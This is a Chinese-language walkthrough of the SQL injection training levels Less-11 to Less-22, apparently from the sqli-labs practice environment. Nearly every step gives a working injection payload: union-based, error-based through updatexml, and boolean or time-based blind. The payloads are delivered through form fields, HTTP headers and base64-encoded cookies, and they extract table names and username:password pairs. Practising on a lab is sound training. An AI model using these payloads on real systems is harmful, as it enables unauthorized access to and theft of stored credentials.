目录
Less-11 基于 ' 的POST型注入
Less-12 基于 ") 的POST型注入
Less-13 基于')的错误回显注入
Less-14 基于"的错误回显注入
Less-15 基于布尔型/时间延迟单引号POST型盲注
Less-16 基于布尔型/时间延迟的双引号POST型盲注
Less-17 基于’的密码报错注入
Less-18 基于'的User-Agent报头文报错注入
Less-19 基于'的Referer报头文报错注入
Less-20 基于 ' 的Cookie报头文报错注入
Less-21 基于base64编码单引号和括号的Cookie注入
Less-22 基于base64编码和双引号的Cookie注入
开始post注入了
先万能密码试一下,发现是直接有回显,说明这是一个注入点,且是单引号闭合
接下来按照流程,我们要判断字段数,但是通过 GET型注入?id=数据 order by n --+就不可以了
这里直接使用union联合查询,也就是查看字段回显
-1' union select 1,2 #
当查询1,2时正常返回,3的时候报错,也就是字段有两个,当然我们显而易见知道这两个都可以回显。
直接在username表单正常注入以下语句即可,不赘述了
-1' union select 1,database() #
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
直接在表单注不方便,在Hackbar里面POST传参即可
不过首先查看表单的名称,此处就是uname和passwd
这两种方式都可以
uname=-1' union select 1,database() #&passwd=1
uname=1&passwd=-1' union select 1,database() #
双引号和括号闭合,其余同上
输入这个变蓝,说明是')的闭合,但是没有正确数据的回显
1') or 1=1 #
尝试后发现有错误的提示,报错注入试一下,直接用hackbar了
updatexml函数
uname=-1') and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&passwd=1 爆库名
uname=-1') and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema ='security' limit 3,1),0x7e),1) #&passwd=1 爆表名
uname=-1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema ='security' and table_name='users' limit 1,1),0x7e),1) #&passwd=1 爆字段
uname=-1') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 1,1),0x7e),1) #&passwd=1 查字段内容,这里0x3a是冒号
双引号闭合,其余同上
万能密码试来试去,是单引号闭合
这次没有报错信息,只有蓝色红色的提示也就代表布尔的true和false,可以布尔盲注
注意这里盲注和GET不同,用or来判断后面的等式
1' or length(database())=8 #
uname=1' or length(database())=8 #&passwd=1
我继续尝试了一下bp爆破库名,成功! 不太明白的看我上一篇文章,多试几次
uname=1' or substr(database(),1,1)='s' #&passwd=1
爆表:
uname=1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' #&passwd=1
爆字段:
uname=1' or substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u' #&passwd=1
爆内容:
uname=1' or substr((select username from security.users limit 0,1),1,1)='d' #&passwd=1
这题是双引号和括号闭合,其余与15题一样的
那在这里使用一下时间盲注吧
要想延时注入,也可以。要转变为万能密码的形式
1' or if(1,1,sleep(5)) # ------->这样的语句变成了1' or 1=1 -- #相当于万能语句
(正确的时候直接返回,不正确的时候等待 5 秒钟)
常用的判断语句:
' or if(1,1,sleep(5)) -- #
" or if(1,1, sleep(5)) -- #
) or if(1,1, sleep(5)) -- #
') or if(1,1, sleep(5)) -- #
") or if(1,1, sleep(5)) -- #
uname=1") or if(length(database())=8,1,sleep(1)) #&passwd=1
uname=1") or if(substr((select database()),1,1)='s',1,sleep(1)) #&passwd=1
uname=1") or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(1)) #&passwd=1
uname=1") or if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',1,sleep(1)) #&passwd=1
uname=1") or if(substr((select username from security.users limit 0,1),1,1)='d',1,sleep(1)) #&passwd=1
场景说是重置密码,默认已知用户名
在密码栏里注入
uname=admin&passwd=1' or 1='1
能判断是单引号闭合且有报错信息,我们使用报错注入
uname=admin&passwd=1' and updatexml(1,concat(0x7e,database(),0x7e),1) #
剩下同第13题
注入点不在表单,这题背景是注册登录过后的注入,输入正确值之后显示 User-Agent
在user-agent
hackbar或者抓包报错注入
这里要注意一下不能使用注释符,因为源码中 user-agent后面还有信息,直接注释就错误了
所以我们用and ' 来闭合一下后面的单引号即可
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
也是换了注入点在 referer里报错注入,方法同上
这题是在cookie里注入用户信息,有正确回显
uname=1' union select 1,2,3 -- #
直接最普通的字符注入即可
uname=1' union select 1,2,database() #
uname=1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' #
uname=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' #
uname=1' union select 1,2,group_concat(username,0x3a,password)from security.users #
说是cookie的uname需要base64编码,我也没找出啥线索,跟着做吧
1') union select 1,2,3-- #
MScpIHVuaW9uIHNlbGVjdCAxLDIsMy0tICM=
相较于上题,使用双引号闭合就可
1" union select 1,2,3 #
MSIgdW5pb24gc2VsZWN0IDEsMiwzICM=